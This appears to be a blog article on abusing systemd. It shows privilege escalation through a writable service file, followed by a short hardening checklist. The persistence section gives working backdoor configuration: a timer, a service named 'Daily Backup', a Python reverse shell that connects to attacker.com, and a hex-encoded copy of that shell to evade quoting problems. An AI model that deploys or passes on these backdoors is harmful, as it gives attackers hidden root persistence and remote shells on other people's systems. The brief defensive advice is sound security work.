SystemD Use & Abuse

SystemD has been increasingly used since its release in 2010. I have been familiar and used to working with SystemD services, timers and many more, as for my constant ArchLinux use.

Since SystemD has been increasingly used, malicious actors have taken interest in knowing how to exploit common configuration flaws to elevate their privileges or gain persistent access to a system.

Systemd documentation can be found here.


Exploitation

When exploiting SystemD configurations it almost all comes down to the basics :

  • File permissions misconfiguration
  • File ownership misconfiguration

Most of the time, Systemd services, timers and such are executed as root since SystemD provides the whole initialization system, thus, misconfiguration can have drastic side effects.

For instance, let's consider that an administrator created a service to be executed frequently by a timer.

# /usr/lib/systemd/systemd/admin.service
[Unit]
Description=Admin Service

[Service]
ExecStart=/bin/bash /root/admin-script.sh

Then, let's say the admin thinks the script should be owned by him and his group but the file stays writable.

The service is still writable by anyone
Add an ExecStartPre parameter that executes whatever command you wish and wait for reboot 

Upon reboot, the `ExecStartPre` value is executed, here we obtain an SUID / SGID Bash binary.

Bash has been made SUID / SGID on boot

How to secure ?

  • Make sure the service as well as executed script is owned by root exclusively chown root:root {/path/to/some.service,/path/to/service-executed.sh}
  • Make sure the service file as well as executed script is read-only and can only be modified by root chmod 644 {/path/to/some.service,/path/to/service-executed.sh}
  • When possible, use User= and Group= to run the service as a low privilege user

Persistance

Persistance can easily be achieved once you gained root privileges. Basically :

  • create a SystemD timer that will run a service
  • create a SystemD service that will run an inline reverse shell

Timer

Create a timer run once a day. The timer will execute the service which will itself run the reverse shell

# PATH
[Unit]
Description=Run daily reverse shell

[Timer]
OnCalendar=Mon..Sat 19:30
Persistent=true

[Install]
WantedBy=timers.target

Create a corresponding service

Timers and services must have the same name (excluding the file extension)

[Unit]
Description=Daily Backdoor

[Service]
Type=oneshot
ExecStart=/bin/bash /path/to/shell

Let's consider the following Bash / Python inline reverse shell

export RHOST=attacker.com;export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

And the same shellcode hex encoded (useful to avoid inline quote pairing nightmare)

\x65\x78\x70\x6f\x72\x74\x20\x52\x48\x4f\x53\x54\x3d\x61\x74\x74\x61\x63\x6b\x65\x72\x2e\x63\x6f\x6d\x3b\x65\x78\x70\x6f\x72\x74\x20\x52\x50\x4f\x52\x54\x3d\x31\x32\x33\x34\x35\x3b\x70\x79\x74\x68\x6f\x6e\x20\x2d\x63\x20\x27\x69\x6d\x70\x6f\x72\x74\x20\x73\x79\x73\x2c\x73\x6f\x63\x6b\x65\x74\x2c\x6f\x73\x2c\x70\x74\x79\x3b\x73\x3d\x73\x6f\x63\x6b\x65\x74\x2e\x73\x6f\x63\x6b\x65\x74\x28\x29\x3b\x73\x2e\x63\x6f\x6e\x6e\x65\x63\x74\x28\x28\x6f\x73\x2e\x67\x65\x74\x65\x6e\x76\x28\x22\x52\x48\x4f\x53\x54\x22\x29\x2c\x69\x6e\x74\x28\x6f\x73\x2e\x67\x65\x74\x65\x6e\x76\x28\x22\x52\x50\x4f\x52\x54\x22\x29\x29\x29\x29\x3b\x5b\x6f\x73\x2e\x64\x75\x70\x32\x28\x73\x2e\x66\x69\x6c\x65\x6e\x6f\x28\x29\x2c\x66\x64\x29\x20\x66\x6f\x72\x20\x66\x64\x20\x69\x6e\x20\x28\x30\x2c\x31\x2c\x32\x29\x5d\x3b\x70\x74\x79\x2e\x73\x70\x61\x77\x6e\x28\x22\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x22\x29\x27

Create a shell script somewhere on the file system

#/usr/lib/backdoor

echo -e '\x65\x78\x70\x6f\x72\x74\x20\x52\x48\x4f\x53\x54\x3d\x61\x74\x74\x61\x63\x6b\x65\x72\x2e...' | /bin/bash

Which will result in the following service

[Unit]
Description=Daily Backup

[Service]
Type=oneshot
ExecStart=/bin/bash /usr/lib/backdoor

When the service is executed you'll get a callback on your listener

Mastodon